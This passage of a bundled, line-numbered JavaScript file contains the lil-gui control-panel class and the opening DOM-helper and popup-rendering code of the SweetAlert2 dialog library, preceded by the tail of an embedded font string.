mfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
  1144. }`;
  1145. function _injectStyles(cssContent) {
  1146. const injected = document.createElement("style");
  1147. injected.innerHTML = cssContent;
  1148. const before = document.querySelector("head link[rel=stylesheet], head style");
  1149. if (before) {
  1150. document.head.insertBefore(injected, before);
  1151. } else {
  1152. document.head.appendChild(injected);
  1153. }
  1154. }
  1155. let stylesInjected = false;
  1156. class GUI {
  1157. constructor({
  1158. parent,
  1159. autoPlace = parent === void 0,
  1160. container,
  1161. width,
  1162. title = "Controls",
  1163. injectStyles = true,
  1164. touchStyles = true
  1165. } = {}) {
  1166. this.parent = parent;
  1167. this.root = parent ? parent.root : this;
  1168. this.children = [];
  1169. this.controllers = [];
  1170. this.folders = [];
  1171. this._closed = false;
  1172. this._hidden = false;
  1173. this.domElement = document.createElement("div");
  1174. this.domElement.classList.add("lil-gui");
  1175. this.$title = document.createElement("div");
  1176. this.$title.classList.add("title");
  1177. this.$title.setAttribute("role", "button");
  1178. this.$title.setAttribute("aria-expanded", true);
  1179. this.$title.setAttribute("tabindex", 0);
  1180. this.$title.addEventListener("click", () => this.openAnimated(this._closed));
  1181. this.$title.addEventListener("keydown", (e) => {
  1182. if (e.code === "Enter" || e.code === "Space") {
  1183. e.preventDefault();
  1184. this.$title.click();
  1185. }
  1186. });
  1187. this.$title.addEventListener("touchstart", () => {
  1188. }, { passive: true });
  1189. this.$children = document.createElement("div");
  1190. this.$children.classList.add("children");
  1191. this.domElement.appendChild(this.$title);
  1192. this.domElement.appendChild(this.$children);
  1193. this.title(title);
  1194. if (touchStyles) {
  1195. this.domElement.classList.add("allow-touch-styles");
  1196. }
  1197. if (this.parent) {
  1198. this.parent.children.push(this);
  1199. this.parent.folders.push(this);
  1200. this.parent.$children.appendChild(this.domElement);
  1201. return;
  1202. }
  1203. this.domElement.classList.add("root");
  1204. if (!stylesInjected && injectStyles) {
  1205. _injectStyles(stylesheet);
  1206. stylesInjected = true;
  1207. }
  1208. if (container) {
  1209. container.appendChild(this.domElement);
  1210. } else if (autoPlace) {
  1211. this.domElement.classList.add("autoPlace");
  1212. document.body.appendChild(this.domElement);
  1213. }
  1214. if (width) {
  1215. this.domElement.style.setProperty("--width", width + "px");
  1216. }
  1217. this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
  1218. this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
  1219. }
  1220. add(object, property, $1, max, step) {
  1221. if (Object($1) === $1) {
  1222. return new OptionController(this, object, property, $1);
  1223. }
  1224. const initialValue = object[property];
  1225. switch (typeof initialValue) {
  1226. case "number":
  1227. return new NumberController(this, object, property, $1, max, step);
  1228. case "boolean":
  1229. return new BooleanController(this, object, property);
  1230. case "string":
  1231. return new StringController(this, object, property);
  1232. case "function":
  1233. return new FunctionController(this, object, property);
  1234. }
  1235. console.error(`gui.add failed
  1236. property:`, property, `
  1237. object:`, object, `
  1238. value:`, initialValue);
  1239. }
  1240. addColor(object, property, rgbScale = 1) {
  1241. return new ColorController(this, object, property, rgbScale);
  1242. }
  1243. addFolder(title) {
  1244. return new GUI({ parent: this, title });
  1245. }
  1246. load(obj, recursive = true) {
  1247. if (obj.controllers) {
  1248. this.controllers.forEach((c) => {
  1249. if (c instanceof FunctionController)
  1250. return;
  1251. if (c._name in obj.controllers) {
  1252. c.load(obj.controllers[c._name]);
  1253. }
  1254. });
  1255. }
  1256. if (recursive && obj.folders) {
  1257. this.folders.forEach((f) => {
  1258. if (f._title in obj.folders) {
  1259. f.load(obj.folders[f._title]);
  1260. }
  1261. });
  1262. }
  1263. return this;
  1264. }
  1265. save(recursive = true) {
  1266. const obj = {
  1267. controllers: {},
  1268. folders: {}
  1269. };
  1270. this.controllers.forEach((c) => {
  1271. if (c instanceof FunctionController)
  1272. return;
  1273. if (c._name in obj.controllers) {
  1274. throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
  1275. }
  1276. obj.controllers[c._name] = c.save();
  1277. });
  1278. if (recursive) {
  1279. this.folders.forEach((f) => {
  1280. if (f._title in obj.folders) {
  1281. throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
  1282. }
  1283. obj.folders[f._title] = f.save();
  1284. });
  1285. }
  1286. return obj;
  1287. }
  1288. open(open2 = true) {
  1289. this._closed = !open2;
  1290. this.$title.setAttribute("aria-expanded", !this._closed);
  1291. this.domElement.classList.toggle("closed", this._closed);
  1292. return this;
  1293. }
  1294. close() {
  1295. return this.open(false);
  1296. }
  1297. show(show = true) {
  1298. this._hidden = !show;
  1299. this.domElement.style.display = this._hidden ? "none" : "";
  1300. return this;
  1301. }
  1302. hide() {
  1303. return this.show(false);
  1304. }
  1305. openAnimated(open2 = true) {
  1306. this._closed = !open2;
  1307. this.$title.setAttribute("aria-expanded", !this._closed);
  1308. requestAnimationFrame(() => {
  1309. const initialHeight = this.$children.clientHeight;
  1310. this.$children.style.height = initialHeight + "px";
  1311. this.domElement.classList.add("transition");
  1312. const onTransitionEnd = (e) => {
  1313. if (e.target !== this.$children)
  1314. return;
  1315. this.$children.style.height = "";
  1316. this.domElement.classList.remove("transition");
  1317. this.$children.removeEventListener("transitionend", onTransitionEnd);
  1318. };
  1319. this.$children.addEventListener("transitionend", onTransitionEnd);
  1320. const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
  1321. this.domElement.classList.toggle("closed", !open2);
  1322. requestAnimationFrame(() => {
  1323. this.$children.style.height = targetHeight + "px";
  1324. });
  1325. });
  1326. return this;
  1327. }
  1328. title(title) {
  1329. this._title = title;
  1330. this.$title.innerHTML = title;
  1331. return this;
  1332. }
  1333. reset(recursive = true) {
  1334. const controllers = recursive ? this.controllersRecursive() : this.controllers;
  1335. controllers.forEach((c) => c.reset());
  1336. return this;
  1337. }
  1338. onChange(callback) {
  1339. this._onChange = callback;
  1340. return this;
  1341. }
  1342. _callOnChange(controller) {
  1343. if (this.parent) {
  1344. this.parent._callOnChange(controller);
  1345. }
  1346. if (this._onChange !== void 0) {
  1347. this._onChange.call(this, {
  1348. object: controller.object,
  1349. property: controller.property,
  1350. value: controller.getValue(),
  1351. controller
  1352. });
  1353. }
  1354. }
  1355. onFinishChange(callback) {
  1356. this._onFinishChange = callback;
  1357. return this;
  1358. }
  1359. _callOnFinishChange(controller) {
  1360. if (this.parent) {
  1361. this.parent._callOnFinishChange(controller);
  1362. }
  1363. if (this._onFinishChange !== void 0) {
  1364. this._onFinishChange.call(this, {
  1365. object: controller.object,
  1366. property: controller.property,
  1367. value: controller.getValue(),
  1368. controller
  1369. });
  1370. }
  1371. }
  1372. destroy() {
  1373. if (this.parent) {
  1374. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  1375. this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
  1376. }
  1377. if (this.domElement.parentElement) {
  1378. this.domElement.parentElement.removeChild(this.domElement);
  1379. }
  1380. Array.from(this.children).forEach((c) => c.destroy());
  1381. }
  1382. controllersRecursive() {
  1383. let controllers = Array.from(this.controllers);
  1384. this.folders.forEach((f) => {
  1385. controllers = controllers.concat(f.controllersRecursive());
  1386. });
  1387. return controllers;
  1388. }
  1389. foldersRecursive() {
  1390. let folders = Array.from(this.folders);
  1391. this.folders.forEach((f) => {
  1392. folders = folders.concat(f.foldersRecursive());
  1393. });
  1394. return folders;
  1395. }
  1396. }
  1397. var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
  1398. var sweetalert2_all = { exports: {} };
  1399. (function(module, exports) {
  1400. (function(global2, factory) {
  1401. module.exports = factory();
  1402. })(commonjsGlobal, function() {
  1403. var privateProps = {
  1404. awaitingPromise: /* @__PURE__ */ new WeakMap(),
  1405. promise: /* @__PURE__ */ new WeakMap(),
  1406. innerParams: /* @__PURE__ */ new WeakMap(),
  1407. domCache: /* @__PURE__ */ new WeakMap()
  1408. };
  1409. const swalPrefix = "swal2-";
  1410. const prefix = (items) => {
  1411. const result = {};
  1412. for (const i in items) {
  1413. result[items[i]] = swalPrefix + items[i];
  1414. }
  1415. return result;
  1416. };
  1417. const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
  1418. const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
  1419. const consolePrefix = "SweetAlert2:";
  1420. const uniqueArray = (arr) => {
  1421. const result = [];
  1422. for (let i = 0; i < arr.length; i++) {
  1423. if (result.indexOf(arr[i]) === -1) {
  1424. result.push(arr[i]);
  1425. }
  1426. }
  1427. return result;
  1428. };
  1429. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  1430. const warn = (message) => {
  1431. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  1432. };
  1433. const error = (message) => {
  1434. console.error(`${consolePrefix} ${message}`);
  1435. };
  1436. const previousWarnOnceMessages = [];
  1437. const warnOnce = (message) => {
  1438. if (!previousWarnOnceMessages.includes(message)) {
  1439. previousWarnOnceMessages.push(message);
  1440. warn(message);
  1441. }
  1442. };
  1443. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  1444. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  1445. };
  1446. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  1447. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  1448. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  1449. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  1450. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  1451. const elementBySelector = (selectorString) => {
  1452. const container = getContainer();
  1453. return container ? container.querySelector(selectorString) : null;
  1454. };
  1455. const elementByClass = (className) => {
  1456. return elementBySelector(`.${className}`);
  1457. };
  1458. const getPopup = () => elementByClass(swalClasses.popup);
  1459. const getIcon = () => elementByClass(swalClasses.icon);
  1460. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  1461. const getTitle = () => elementByClass(swalClasses.title);
  1462. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  1463. const getImage = () => elementByClass(swalClasses.image);
  1464. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  1465. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  1466. const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
  1467. const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
  1468. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  1469. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  1470. const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
  1471. const getActions = () => elementByClass(swalClasses.actions);
  1472. const getFooter = () => elementByClass(swalClasses.footer);
  1473. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  1474. const getCloseButton = () => elementByClass(swalClasses.close);
  1475. const focusable = `
  1476. a[href],
  1477. area[href],
  1478. input:not([disabled]),
  1479. select:not([disabled]),
  1480. textarea:not([disabled]),
  1481. button:not([disabled]),
  1482. iframe,
  1483. object,
  1484. embed,
  1485. [tabindex="0"],
  1486. [contenteditable],
  1487. audio[controls],
  1488. video[controls],
  1489. summary
  1490. `;
  1491. const getFocusableElements = () => {
  1492. const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
  1493. const tabindexA = parseInt(a.getAttribute("tabindex"));
  1494. const tabindexB = parseInt(b.getAttribute("tabindex"));
  1495. if (tabindexA > tabindexB) {
  1496. return 1;
  1497. } else if (tabindexA < tabindexB) {
  1498. return -1;
  1499. }
  1500. return 0;
  1501. });
  1502. const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
  1503. return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
  1504. };
  1505. const isModal = () => {
  1506. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  1507. };
  1508. const isToast = () => {
  1509. return getPopup() && hasClass(getPopup(), swalClasses.toast);
  1510. };
  1511. const isLoading = () => {
  1512. return getPopup().hasAttribute("data-loading");
  1513. };
  1514. const states = {
  1515. previousBodyPadding: null
  1516. };
  1517. const setInnerHtml = (elem, html) => {
  1518. elem.textContent = "";
  1519. if (html) {
  1520. const parser = new DOMParser();
  1521. const parsed = parser.parseFromString(html, `text/html`);
  1522. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  1523. elem.appendChild(child);
  1524. });
  1525. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  1526. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  1527. elem.appendChild(child.cloneNode(true));
  1528. } else {
  1529. elem.appendChild(child);
  1530. }
  1531. });
  1532. }
  1533. };
  1534. const hasClass = (elem, className) => {
  1535. if (!className) {
  1536. return false;
  1537. }
  1538. const classList = className.split(/\s+/);
  1539. for (let i = 0; i < classList.length; i++) {
  1540. if (!elem.classList.contains(classList[i])) {
  1541. return false;
  1542. }
  1543. }
  1544. return true;
  1545. };
  1546. const removeCustomClasses = (elem, params) => {
  1547. Array.from(elem.classList).forEach((className) => {
  1548. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  1549. elem.classList.remove(className);
  1550. }
  1551. });
  1552. };
  1553. const applyCustomClass = (elem, params, className) => {
  1554. removeCustomClasses(elem, params);
  1555. if (params.customClass && params.customClass[className]) {
  1556. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  1557. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  1558. return;
  1559. }
  1560. addClass(elem, params.customClass[className]);
  1561. }
  1562. };
  1563. const getInput$1 = (popup, inputClass) => {
  1564. if (!inputClass) {
  1565. return null;
  1566. }
  1567. switch (inputClass) {
  1568. case "select":
  1569. case "textarea":
  1570. case "file":
  1571. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  1572. case "checkbox":
  1573. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  1574. case "radio":
  1575. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  1576. case "range":
  1577. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  1578. default:
  1579. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  1580. }
  1581. };
  1582. const focusInput = (input) => {
  1583. input.focus();
  1584. if (input.type !== "file") {
  1585. const val = input.value;
  1586. input.value = "";
  1587. input.value = val;
  1588. }
  1589. };
  1590. const toggleClass = (target, classList, condition) => {
  1591. if (!target || !classList) {
  1592. return;
  1593. }
  1594. if (typeof classList === "string") {
  1595. classList = classList.split(/\s+/).filter(Boolean);
  1596. }
  1597. classList.forEach((className) => {
  1598. if (Array.isArray(target)) {
  1599. target.forEach((elem) => {
  1600. condition ? elem.classList.add(className) : elem.classList.remove(className);
  1601. });
  1602. } else {
  1603. condition ? target.classList.add(className) : target.classList.remove(className);
  1604. }
  1605. });
  1606. };
  1607. const addClass = (target, classList) => {
  1608. toggleClass(target, classList, true);
  1609. };
  1610. const removeClass = (target, classList) => {
  1611. toggleClass(target, classList, false);
  1612. };
  1613. const getDirectChildByClass = (elem, className) => {
  1614. const children = Array.from(elem.children);
  1615. for (let i = 0; i < children.length; i++) {
  1616. const child = children[i];
  1617. if (child instanceof HTMLElement && hasClass(child, className)) {
  1618. return child;
  1619. }
  1620. }
  1621. };
  1622. const applyNumericalStyle = (elem, property, value) => {
  1623. if (value === `${parseInt(value)}`) {
  1624. value = parseInt(value);
  1625. }
  1626. if (value || parseInt(value) === 0) {
  1627. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  1628. } else {
  1629. elem.style.removeProperty(property);
  1630. }
  1631. };
  1632. const show = function(elem) {
  1633. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  1634. elem.style.display = display;
  1635. };
  1636. const hide = (elem) => {
  1637. elem.style.display = "none";
  1638. };
  1639. const setStyle = (parent, selector, property, value) => {
  1640. const el = parent.querySelector(selector);
  1641. if (el) {
  1642. el.style[property] = value;
  1643. }
  1644. };
  1645. const toggle = function(elem, condition) {
  1646. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  1647. condition ? show(elem, display) : hide(elem);
  1648. };
  1649. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  1650. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  1651. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  1652. const hasCssAnimation = (elem) => {
  1653. const style = window.getComputedStyle(elem);
  1654. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  1655. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  1656. return animDuration > 0 || transDuration > 0;
  1657. };
  1658. const animateTimerProgressBar = function(timer) {
  1659. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  1660. const timerProgressBar = getTimerProgressBar();
  1661. if (isVisible$1(timerProgressBar)) {
  1662. if (reset) {
  1663. timerProgressBar.style.transition = "none";
  1664. timerProgressBar.style.width = "100%";
  1665. }
  1666. setTimeout(() => {
  1667. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  1668. timerProgressBar.style.width = "0%";
  1669. }, 10);
  1670. }
  1671. };
  1672. const stopTimerProgressBar = () => {
  1673. const timerProgressBar = getTimerProgressBar();
  1674. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1675. timerProgressBar.style.removeProperty("transition");
  1676. timerProgressBar.style.width = "100%";
  1677. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1678. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  1679. timerProgressBar.style.removeProperty("transition");
  1680. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  1681. };
  1682. const RESTORE_FOCUS_TIMEOUT = 100;
  1683. const globalState = {};
  1684. const focusPreviousActiveElement = () => {
  1685. if (globalState.previousActiveElement instanceof HTMLElement) {
  1686. globalState.previousActiveElement.focus();
  1687. globalState.previousActiveElement = null;
  1688. } else if (document.body) {
  1689. document.body.focus();
  1690. }
  1691. };
  1692. const restoreActiveElement = (returnFocus) => {
  1693. return new Promise((resolve) => {
  1694. if (!returnFocus) {
  1695. return resolve();
  1696. }
  1697. const x = window.scrollX;
  1698. const y = window.scrollY;
  1699. globalState.restoreFocusTimeout = setTimeout(() => {
  1700. focusPreviousActiveElement();
  1701. resolve();
  1702. }, RESTORE_FOCUS_TIMEOUT);
  1703. window.scrollTo(x, y);
  1704. });
  1705. };
  1706. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  1707. const sweetHTML = `
  1708. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  1709. <button type="button" class="${swalClasses.close}"></button>
  1710. <ul class="${swalClasses["progress-steps"]}"></ul>
  1711. <div class="${swalClasses.icon}"></div>
  1712. <img class="${swalClasses.image}" />
  1713. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  1714. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  1715. <input class="${swalClasses.input}" />
  1716. <input type="file" class="${swalClasses.file}" />
  1717. <div class="${swalClasses.range}">
  1718. <input type="range" />
  1719. <output></output>
  1720. </div>
  1721. <select class="${swalClasses.select}"></select>
  1722. <div class="${swalClasses.radio}"></div>
  1723. <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
  1724. <input type="checkbox" />
  1725. <span class="${swalClasses.label}"></span>
  1726. </label>
  1727. <textarea class="${swalClasses.textarea}"></textarea>
  1728. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  1729. <div class="${swalClasses.actions}">
  1730. <div class="${swalClasses.loader}"></div>
  1731. <button type="button" class="${swalClasses.confirm}"></button>
  1732. <button type="button" class="${swalClasses.deny}"></button>
  1733. <button type="button" class="${swalClasses.cancel}"></button>
  1734. </div>
  1735. <div class="${swalClasses.footer}"></div>
  1736. <div class="${swalClasses["timer-progress-bar-container"]}">
  1737. <div class="${swalClasses["timer-progress-bar"]}"></div>
  1738. </div>
  1739. </div>
  1740. `.replace(/(^|\n)\s*/g, "");
  1741. const resetOldContainer = () => {
  1742. const oldContainer = getContainer();
  1743. if (!oldContainer) {
  1744. return false;
  1745. }
  1746. oldContainer.remove();
  1747. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  1748. return true;
  1749. };
  1750. const resetValidationMessage$1 = () => {
  1751. globalState.currentInstance.resetValidationMessage();
  1752. };
  1753. const addInputChangeListeners = () => {
  1754. const popup = getPopup();
  1755. const input = getDirectChildByClass(popup, swalClasses.input);
  1756. const file = getDirectChildByClass(popup, swalClasses.file);
  1757. const range = popup.querySelector(`.${swalClasses.range} input`);
  1758. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  1759. const select = getDirectChildByClass(popup, swalClasses.select);
  1760. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  1761. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  1762. input.oninput = resetValidationMessage$1;
  1763. file.onchange = resetValidationMessage$1;
  1764. select.onchange = resetValidationMessage$1;
  1765. checkbox.onchange = resetValidationMessage$1;
  1766. textarea.oninput = resetValidationMessage$1;
  1767. range.oninput = () => {
  1768. resetValidationMessage$1();
  1769. rangeOutput.value = range.value;
  1770. };
  1771. range.onchange = () => {
  1772. resetValidationMessage$1();
  1773. rangeOutput.value = range.value;
  1774. };
  1775. };
  1776. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  1777. const setupAccessibility = (params) => {
  1778. const popup = getPopup();
  1779. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  1780. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  1781. if (!params.toast) {
  1782. popup.setAttribute("aria-modal", "true");
  1783. }
  1784. };
  1785. const setupRTL = (targetElement) => {
  1786. if (window.getComputedStyle(targetElement).direction === "rtl") {
  1787. addClass(getContainer(), swalClasses.rtl);
  1788. }
  1789. };
  1790. const init = (params) => {
  1791. const oldContainerExisted = resetOldContainer();
  1792. if (isNodeEnv()) {
  1793. error("SweetAlert2 requires document to initialize");
  1794. return;
  1795. }
  1796. const container = document.createElement("div");
  1797. container.className = swalClasses.container;
  1798. if (oldContainerExisted) {
  1799. addClass(container, swalClasses["no-transition"]);
  1800. }
  1801. setInnerHtml(container, sweetHTML);
  1802. const targetElement = getTarget(params.target);
  1803. targetElement.appendChild(container);
  1804. setupAccessibility(params);
  1805. setupRTL(targetElement);
  1806. addInputChangeListeners();
  1807. };
  1808. const parseHtmlToContainer = (param, target) => {
  1809. if (param instanceof HTMLElement) {
  1810. target.appendChild(param);
  1811. } else if (typeof param === "object") {
  1812. handleObject(param, target);
  1813. } else if (param) {
  1814. setInnerHtml(target, param);
  1815. }
  1816. };
  1817. const handleObject = (param, target) => {
  1818. if (param.jquery) {
  1819. handleJqueryElem(target, param);
  1820. } else {
  1821. setInnerHtml(target, param.toString());
  1822. }
  1823. };
  1824. const handleJqueryElem = (target, elem) => {
  1825. target.textContent = "";
  1826. if (0 in elem) {
  1827. for (let i = 0; i in elem; i++) {
  1828. target.appendChild(elem[i].cloneNode(true));
  1829. }
  1830. } else {
  1831. target.appendChild(elem.cloneNode(true));
  1832. }
  1833. };
  1834. const animationEndEvent = (() => {
  1835. if (isNodeEnv()) {
  1836. return false;
  1837. }
  1838. const testEl = document.createElement("div");
  1839. const transEndEventNames = {
  1840. WebkitAnimation: "webkitAnimationEnd",
  1841. animation: "animationend"
  1842. };
  1843. for (const i in transEndEventNames) {
  1844. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  1845. return transEndEventNames[i];
  1846. }
  1847. }
  1848. return false;
  1849. })();
  1850. const measureScrollbar = () => {
  1851. const scrollDiv = document.createElement("div");
  1852. scrollDiv.className = swalClasses["scrollbar-measure"];
  1853. document.body.appendChild(scrollDiv);
  1854. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1855. document.body.removeChild(scrollDiv);
  1856. return scrollbarWidth;
  1857. };
  1858. const renderActions = (instance, params) => {
  1859. const actions = getActions();
  1860. const loader = getLoader();
  1861. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  1862. hide(actions);
  1863. } else {
  1864. show(actions);
  1865. }
  1866. applyCustomClass(actions, params, "actions");
  1867. renderButtons(actions, loader, params);
  1868. setInnerHtml(loader, params.loaderHtml);
  1869. applyCustomClass(loader, params, "loader");
  1870. };
  1871. function renderButtons(actions, loader, params) {
  1872. const confirmButton = getConfirmButton();
  1873. const denyButton = getDenyButton();
  1874. const cancelButton = getCancelButton();
  1875. renderButton(confirmButton, "confirm", params);
  1876. renderButton(denyButton, "deny", params);
  1877. renderButton(cancelButton, "cancel", params);
  1878. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  1879. if (params.reverseButtons) {
  1880. if (params.toast) {
  1881. actions.insertBefore(cancelButton, confirmButton);
  1882. actions.insertBefore(denyButton, confirmButton);
  1883. } else {
  1884. actions.insertBefore(cancelButton, loader);
  1885. actions.insertBefore(denyButton, loader);
  1886. actions.insertBefore(confirmButton, loader);
  1887. }
  1888. }
  1889. }
  1890. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  1891. if (!params.buttonsStyling) {
  1892. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1893. return;
  1894. }
  1895. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1896. if (params.confirmButtonColor) {
  1897. confirmButton.style.backgroundColor = params.confirmButtonColor;
  1898. addClass(confirmButton, swalClasses["default-outline"]);
  1899. }
  1900. if (params.denyButtonColor) {
  1901. denyButton.style.backgroundColor = params.denyButtonColor;
  1902. addClass(denyButton, swalClasses["default-outline"]);
  1903. }
  1904. if (params.cancelButtonColor) {
  1905. cancelButton.style.backgroundColor = params.cancelButtonColor;
  1906. addClass(cancelButton, swalClasses["default-outline"]);
  1907. }
  1908. }
  1909. function renderButton(button, buttonType, params) {
  1910. toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
  1911. setInnerHtml(button, params[`${buttonType}ButtonText`]);
  1912. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
  1913. button.className = swalClasses[buttonType];
  1914. applyCustomClass(button, params, `${buttonType}Button`);
  1915. addClass(button, params[`${buttonType}ButtonClass`]);
  1916. }
  1917. const renderCloseButton = (instance, params) => {
  1918. const closeButton = getCloseButton();
  1919. setInnerHtml(closeButton, params.closeButtonHtml);
  1920. applyCustomClass(closeButton, params, "closeButton");
  1921. toggle(closeButton, params.showCloseButton);
  1922. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
  1923. };
  1924. const renderContainer = (instance, params) => {
  1925. const container = getContainer();
  1926. if (!container) {
  1927. return;
  1928. }
  1929. handleBackdropParam(container, params.backdrop);
  1930. handlePositionParam(container, params.position);
  1931. handleGrowParam(container, params.grow);
  1932. applyCustomClass(container, params, "container");
  1933. };
  1934. function handleBackdropParam(container, backdrop) {
  1935. if (typeof backdrop === "string") {
  1936. container.style.background = backdrop;
  1937. } else if (!backdrop) {
  1938. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  1939. }
  1940. }
  1941. function handlePositionParam(container, position) {
  1942. if (position in swalClasses) {
  1943. addClass(container, swalClasses[position]);
  1944. } else {
  1945. warn('The "position" parameter is not valid, defaulting to "center"');
  1946. addClass(container, swalClasses.center);
  1947. }
  1948. }
  1949. function handleGrowParam(container, grow) {
  1950. if (grow && typeof grow === "string") {
  1951. const growClass = `grow-${grow}`;
  1952. if (growClass in swalClasses) {
  1953. addClass(container, swalClasses[growClass]);
  1954. }
  1955. }
  1956. }
  1957. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
